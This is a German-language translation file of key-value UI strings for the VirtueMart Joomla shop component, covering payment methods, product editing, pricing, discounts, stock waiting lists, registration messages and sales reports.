COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Bitte geben Sie einen Zahlungsart Code ein." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Bitte geben Sie eine Zahlungsart ein." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Kreditkarten Typen" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Preisnachlass" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Zahlungsart Typ" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Zahlungsart Bezeichnung" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Käufergruppe" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Fehler" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Preisnachlass" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Zahlungsart Typ" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Name" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Käufergruppe" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Der Name existiert bereits für eine Zahlungsart. Bitte wählen Sie einen anderen Namen" COM_VIRTUEMART_PAYMENTMETHOD_S="Zahlungsarten" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Bitte wählen Sie eine zu aktualisierende Zahlungsart." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Zahlung durch den Käufer abgebrochen" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Zahlungsart" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Wählen Sie die Zahlungsart und klicken Sie auf die »Anwenden« Schaltfläche (Joomla 1.5) oder die »Sichern« Schaltfläche (Joomla 1.7+), um die zugehörigen Eigenschaften im Konfigurations-Tab anzuzeigen" COM_VIRTUEMART_PAYMENT_ELEMENT="Zahlungsart" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Zahlungsbeschreibung" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Zahlungsbeschreibung" COM_VIRTUEMART_PAYMENT_LIST_LBL="Zahlungsarten Liste" COM_VIRTUEMART_PAYMENT_LIST_NAME="Zahlungs-Bezeichnung" COM_VIRTUEMART_PAYMENT_NAME="Name" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Käufergruppe" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Zahlung erfolgreich ausgeführt" COM_VIRTUEMART_PAYMENT_TYPE="Zahlungsart" COM_VIRTUEMART_PDF_ICON_SHOW="Das 'pdf-Ansicht Symbol anzeigen?" COM_VIRTUEMART_PDF_ICON_SHOW_EXPLAIN="pdf-Link Symbol anzeigen oder verbergen" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="Die Berechtigungsgruppe muß eine Bezeichnung haben." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="Die Berechtigungsgruppen-Bezeichnung enthält unzulässige Zeichen" COM_VIRTUEMART_PLEASE_SEL_ITEM="Bitte wählen Sie einen Eintrag" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Preisnachlaß/Preisaufschlag" COM_VIRTUEMART_PLUGIN_WARNING="Bitte konfigurieren Sie VirtueMart Versand oder Zahlungs-Plugins in der VirtueMart Komponente
            Hier festgelegte Eigenschaften werden nirgendwo verwendet." COM_VIRTUEMART_PN_DISPLAY_NR="Zeige #" COM_VIRTUEMART_PREVIEW="Vorschau" COM_VIRTUEMART_PRINT="Drucken" COM_VIRTUEMART_PRINT_VIEW="Druckansicht" COM_VIRTUEMART_PRODUCT="Produkt" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Wählen Sie ein Produkt" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Erstellt einen Link zur Anzeige des ausgewählten Produktes" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Produkt" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Um die Produktansicht zu bestimmen" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Zeigt ein einzelnes Produkt" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Produktseite Layout" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Produkte verschieben" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Etwas ist bei dem Versuch ein Produkt hinzuzufügen schief gegangen!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Produktvariante hinzufügen" COM_VIRTUEMART_PRODUCT_ADD_PRICE="Neuen Preis hinzufügen" COM_VIRTUEMART_PRODUCT_ALIAS="Produkt Alias" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Produkt Verfügbarkeit" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="Es wird in Kürze wieder erhältlich sein:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Produkt Verfügbarkeitsdatum" COM_VIRTUEMART_PRODUCT_BASEPRICE="Grundpreis" COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Grundpreis für Variante" COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Grundpreis inkl. Steuern " COM_VIRTUEMART_PRODUCT_BOX="Einheiten pro Karton" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="Keine Beschreibung" COM_VIRTUEMART_PRODUCT_CALL="Preis auf Anfrage" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Produktvariante konnte nicht gelöscht werden" COM_VIRTUEMART_PRODUCT_CATEGORY="Produktkategorie" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Produktkategorie Bezeichnung" COM_VIRTUEMART_PRODUCT_CHILD="Produktvariante" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Produktvarianten" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Produkt ist eine Variante von" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Produktvariante wurde erstellt" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Produktvarianten" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Bezeichnung der Produktvariante" COM_VIRTUEMART_PRODUCT_CLONE="Produkt kopieren" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="Das Produkt wurde erfolgreich kopiert" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Diese Produktvarianten ebenfalls kopieren" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Produkt Kopier-Optionen" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Produktvariante erstellen" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Selbsterstelltes Feld" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Selbsterstelltes %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Selbsterstellte Felder" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="Alle Käufer" COM_VIRTUEMART_PRODUCT_DESC="Produktbeschreibung" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Beschreibung" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Hersteller" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Produktseite" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="Von" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Abmessungen-Masseinheit" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="ermäßigter Preis" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="Sie können das Preisnachlass-Formular benutzen, um Preisnachlässe hinzuzufügen!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="Der Preisnachlass wurde hinzugefügt." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Preisnachlass" COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Preisnachlass Typ" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Soll der Betrag ein Prozentsatz oder ein Festbetrag sein?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Keine Regel zuordnen" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Allgemeine Regeln zuordnen" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Überschreiben" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="Hier können Sie die Preisermäßigung überschreiben. Tragen Sie einen speziellen ermäßigten Preis für dieses Produkt ein. Der Shop wird von dem ermäßigten Preis einen neuen Rabatteintrag erstellen." COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Produktvariante bearbeiten" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="E-Mail an Käufer senden" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Inhalt" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="gesendet am" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Bitte geben Sie Ihre Mitteilung ein" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Bitte geben Sie einen Betreff ein" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="Dieses Produkt hat noch kein Kunde gekauft" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Wählen Sie den Status der bestellten Produkte" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Wählen Sie den 'Status der bestellten Produkte' der eingegangenen Bestellungen, um die Liste der Käufer anzuzeigen, die per E-Mail benachrichtigt werden sollen" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="E-Mail senden" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Absenden der E-Mail an die Käufer" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Eine E-Mail an Kunden senden, die dieses Produkt gekauft haben (%d Käufer)" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Mitteilung bezüglich dem Produkt %" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Betreff" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Eine Frage zu diesem Produkt stellen" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Zürück zur Produkt-Dateiliste" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Produkt suchen" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Produkt Alias" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Tragen Sie hier einen Text ein, der dem Käufer auf der Produktseite angezeigt werden soll - z.B.:
            e.g.: 24h, 48 Stunden, 3-5 Tage, nachbestellt..." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="ODER wählen Sie eine auf der Produktseite anzuzeigende Abbildung.
            Die Abbildungen befinden sich im Verzeichnis %s
            " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Verfügbarkeitsdatum" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Hier können Sie die Anzahl der Einheiten in einem Behältnis eintragen (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Grundpreis berechnen" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Aktivieren, wenn Sie den Endpreis unabhängig von Kalkulationsregeln festlegen wollen" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Stammprodukt & Varianten" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="Preismodifikator nach Steuern" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Preismodifikator vor Steuern" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Sind Sie sicher, dass Sie diesen Eintrag löschen möchten?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Sind Sie sicher, dass Sie dieses Produkt und seine zugehörigen Einträge löschen möchten?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Produktbeschreibung" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Ermäßigter Preis" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Hier können den ermäßigten Preis überschreiben. Tragen Sie einen speziellen Angebotspreis für dieses Produkt ein.
            Der Shop generiert einen neuen Angebotseintrag von dem Angebotspreis." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Preisnachlass" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Preisnachlass Typ" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Dieses Produkt bearbeiten" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="E-Mails" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Höhe" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="Vorrätig" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Artikel Maße und Gewicht" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Abbildungen" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Produktinformation des Artikels" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Artikelstatus" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Länge" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Höchstkaufmenge" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Mindestkaufmenge" COM_VIRTUEMART_PRODUCT_FORM_NAME="Produktbezeichnung" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="Neues Produkt" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="gebuchte, bestellte Produkte" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Einheiten in der Verpackung" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Hier können Sie die Anzahl der Einheiten in der Verpackung eintragen. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Stammprodukt" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Stammprodukt bearbeiten" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Produkt Preisangaben" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE="Grundpreis" COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASEWITHTAX="Grundpreis inklusive MwSt." COM_VIRTUEMART_PRODUCT_FORM_PRICE_BASE_TIP="Der Grundpreis ist der Selbstkostenpreis umgerechnet in die Standard-Währung des Verkäufers" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST="Selbstkostenpreis" COM_VIRTUEMART_PRODUCT_FORM_PRICE_COST_TIP="Dies ist der tatsächliche Selbstkostenpreis in der ausgewählten Währung" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL="Endpreis" COM_VIRTUEMART_PRODUCT_FORM_PRICE_FINAL_TIP="Der Endpreis ist der Grundpreis mit allen zugeordneten Kalkulationsregeln in der Standard-Währung des Verkäufers" COM_VIRTUEMART_PRODUCT_FORM_PRICE_GROSS="Produkt Bruttoverkaufspreis" COM_VIRTUEMART_PRODUCT_FORM_PRICE_NET="Produkt Einkaufspreis" COM_VIRTUEMART_PRODUCT_FORM_PRICE_RETAIL="Produkt Endverkaufspreis" COM_VIRTUEMART_PRODUCT_FORM_PRICE_TAX="MwSt" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_CUSTOM_TAB="Selbsterstellte Felder" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL="Produkt Maße und Gewicht" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL="Produktabbildungen" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL="Produkt Information" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_ITEMS_LBL="Produktvarianten-Liste" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL="Produktstatus" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_TYPES_TAB="Produkttypen" COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_VARIANTS_LBL="Produktvarianten" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY="Eigenschaft" COM_VIRTUEMART_PRODUCT_FORM_PROPERTY_NEW="Neue Eigenschaft" COM_VIRTUEMART_PRODUCT_FORM_PUBLISH="Veröffentlicht?" COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Produktpreis" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Preis-Kalkulationsregel überschreiben" COM_VIRTUEMART_PRODUCT_FORM_SKU="Artikelnummer" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="Auf Aktionen" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Kurzbeschreibung" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Einheit" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="Stück" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Eintrag aktualisieren" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Verkäufer" COM_VIRTUEMART_PRODUCT_HEIGHT="Produkthöhe" COM_VIRTUEMART_PRODUCT_ID="Produkt ID" COM_VIRTUEMART_PRODUCT_ID_MISSING="Eine Produkt Kennung fehlt." COM_VIRTUEMART_PRODUCT_IMAGE="Produktabbildung" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="Bild URL muß mit http beginnen." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Produktabbildung löschen fehlgeschlagen!" COM_VIRTUEMART_PRODUCT_INFORMATION="Produktinformation" COM_VIRTUEMART_PRODUCT_INVENTORY="Bestand" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Lagerwert" ;COM_VIRTUEMART_PRODUCT_INVENTORY_SEE_SHOPPER_RESERVED_LIST="Kunden anzeigen, die das Produkt bestellt haben, aber noch nicht beliefert wurden" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Wert" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Gewicht" COM_VIRTUEMART_PRODUCT_IN_STOCK="Produkt vorrätig" COM_VIRTUEMART_PRODUCT_LENGTH="Produktlänge" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Produkt suchen" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="nach" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="vor" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="mit modifiziertem Preis" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modifiziert" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="ohne Preis" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="nur Stammprodukte" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Verkäufername" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="Alle %s Varianten auflisten" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="Das Produkt %s hat einen Lagerbestand von %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="Das Produkt %s hat nur noch einen geringen Lagerbestand" COM_VIRTUEMART_PRODUCT_LWH_UOM="Länge/Breite/Höhe Maßeinheit" COM_VIRTUEMART_PRODUCT_MASSXREF="Massenverknüpfung (z.B. Kategorien, Käufergruppen) mit ausgewählten Produkten" COM_VIRTUEMART_PRODUCT_MEDIA="Media Datei" COM_VIRTUEMART_PRODUCT_MOD="Produkte" COM_VIRTUEMART_PRODUCT_NAME="Produktbezeichnung" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Produktbezeichnung" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="Produkt-Navigation anzeigen?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Zeigt die Produkt-Navigation am Anfang der Produktseite an" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="E-Mail(s) gesendet" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Anzahl der Benachrichtigungen (leer lassen für 'Alle')" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Benutzer benachrichtigen" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="Das Produkt konnte nicht kopiert werden" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Entschuldigung, aber das von Ihnen angefragte Produkt wurde nicht gefunden!" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Produkvariante konnte nicht erstellt werden" COM_VIRTUEMART_PRODUCT_OF="von" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Produkt Auftagsbestände" COM_VIRTUEMART_PRODUCT_PACKAGING="Produktverpackung" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="Falls Ihr Produkt in Einheiten verkauft wird, z.B. pro Meter, Gramm oder Liter, geben Sie hier die Menge ein. Zum Beispiel 0.7 für eine 0.7 %1$s Flasche oder 2.5 für 250 ml wenn Sie für %2$s %3$s" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="Produkt hat Varianten?" COM_VIRTUEMART_PRODUCT_PRICE="Produktpreis" COM_VIRTUEMART_PRODUCT_PRICE_DATE_RANGE="Datumsbereich" COM_VIRTUEMART_PRODUCT_PRICE_FROM="Von" COM_VIRTUEMART_PRODUCT_PRICE_QUANTITY_RANGE="Mengenbereich" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Produktpreis" COM_VIRTUEMART_PRODUCT_PRICE_TO="Bis" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Interne Notiz" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Produkttyp" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Suchen Sie hier nach Produkten oder Kategorien" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Produktfamilie" COM_VIRTUEMART_PRODUCT_S="Produkte" COM_VIRTUEMART_PRODUCT_SALES="Produktverkäufe" COM_VIRTUEMART_PRODUCT_SALESPRICE="Verkaufspreis" COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Netto Verkaufspreis" COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Verkaufspreis inkl. Preisnachlass" COM_VIRTUEMART_PRODUCT_SHOPPERS="Eine E-Mail an Käufer senden" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="Liste der Käufer, die %1$s gekauft haben" COM_VIRTUEMART_PRODUCT_SKU="Artikelnummer" COM_VIRTUEMART_PRODUCT_SPECIAL="Aktionsprodukt" COM_VIRTUEMART_PRODUCT_S_DESC="Produkt Kurzbeschreibung" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Steuerbetrag" COM_VIRTUEMART_PRODUCT_TAX_NONE="Keine Regel zuordnen" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Standard-Regeln zuordnen" COM_VIRTUEMART_PRODUCT_UNIT="Produkteinheit" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Standard-Benachrichtigungstext benutzen" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="Falls ausgewählt, wird die Standard-Benachrichtigung gesendet." COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s ist eingetroffen!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Benachrichtigt" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Diese Benutzer jetzt benachrichtigen (nachdem Sie den Lagerbestand dieses Produktes aktualisiert haben)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Warteliste" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Kunden, die benachrichtigt werden möchten, wenn dieses Produkt wieder auf Lager ist." COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="Keine wartenden Kunden" COM_VIRTUEMART_PRODUCT_WEIGHT="Produktgewicht" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Produktgewicht Maßeinheit" COM_VIRTUEMART_PRODUCT_WIDTH="Produktbreite" COM_VIRTUEMART_PRODUCT_XREF_CAT="Massenverknüpfung mit Kategorien" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Massenverknüpfung mit Kategorien ausführen" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Ausgewählte Produkte %s" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Massenverknüpfung mit Käufergruppen" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Massenverknüpfung mit Käufergruppen ausführen" COM_VIRTUEMART_PUBLISH="Veröffentlichen" COM_VIRTUEMART_PUBLISHED="Veröffentlicht" COM_VIRTUEMART_PUBLISH_ITEM="Artikel veröffentlichen" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="Eingeblendete Warnung: Speichen der VirtueMart Benutzerdaten war nicht möglich" COM_VIRTUEMART_RATE_FORM_VAT_ID="MwSt." COM_VIRTUEMART_RATE_NOM="Bewertung" COM_VIRTUEMART_RATINGS="Rezensionen & Bewertungen" COM_VIRTUEMART_RATING_DATE_TITLE="Datum der Rezension" COM_VIRTUEMART_RATING_EDIT_TITLE="Rezension des Käufers editieren" COM_VIRTUEMART_RATING_TITLE="Bewertung" COM_VIRTUEMART_RECCOMEND_UNATUH="Nicht eingeloggten Benutzern erlauben, Empfehlungen zu senden" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="Falls aktiviert, kann jeder Benutzer ein Produkt empfehlen. Andernfalls können nur eingeloggte Benutzer eine Empfehlung senden" COM_VIRTUEMART_RECENT_PRODUCTS="Kürzlich betrachtete Produkte" COM_VIRTUEMART_REGISTER_ACCOUNT="Ein Konto einrichten?
            Ein Konto ermöglicht Ihnen, zu diesem Shop zurückzukommen und alle bisherigen Bestellungen einzusehen." COM_VIRTUEMART_REGISTER_BEFORE="Bitte registrieren Sie sich um diese Möglichkeit zu nutzen" COM_VIRTUEMART_REGISTER_EMAIL="E-mail" COM_VIRTUEMART_REGISTER_TITLE="Registrierung" COM_VIRTUEMART_REGISTER_UNAME="Benutzername" COM_VIRTUEMART_REGISTRATION_FORM_NONE="ohne" COM_VIRTUEMART_REG_COMPLETE="
            Registrierung abgeschlossen!
            " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
            Registrierung abgeschlossen!

            Ihr Konto wurde eingerichtet und ein Aktivierungs-Link wurde an die von Ihnen angegebene E-Mail Adresse gesendet. Beachten Sie, daß Sie das Konto nach dem Empfang der E-Mail durch Klicken auf den Aktivierungs-Link aktivieren müssen, bevor Sie sich einloggen können." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
            Registrierung des Verkäufers abgeschlossen!
            " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
            Registrierung des Verkäufers abgeschlossen!

            Ihr Konto wurde eingerichtet und ein Aktivierungs-Link wurde an die von Ihnen angegebene E-Mail Adresse gesendet. Beachten Sie, daß Sie das Konto nach dem Empfang der E-Mail durch Klicken auf den Aktivierungs-Link aktivieren müssen, bevor Sie sich einloggen können." COM_VIRTUEMART_RELATED_CATEGORIES="Verwandte Kategorien" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="Kategorien eingeben, die auf der Produktdetailseite eingeblendet werden sollen" COM_VIRTUEMART_RELATED_PRODUCTS="In Beziehung stehende Produkte" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="Diese(s) Produkt(e) könnte(n) Sie ebenfalls interessieren" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="Produkte eingeben, die auf den Produktdetailseiten eingeblendet werden sollen" COM_VIRTUEMART_RELOAD="Erneut laden" COM_VIRTUEMART_REMEMBER_ME="Angemeldet bleiben" COM_VIRTUEMART_REPORT="Umsatzbericht" COM_VIRTUEMART_REPORT_BASIC_DATE="Datum" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Individuelle Produktauflistungen" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Letzte 60 Tage" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Letzte 90 Tage" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Letzter Monat" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Bestellungen" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Produktauflistung" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Bericht für" COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO="Umsatz brutto" COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO="Umsatz netto" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Verkaufsaktivitäten Ubersicht, // unbenutz?" 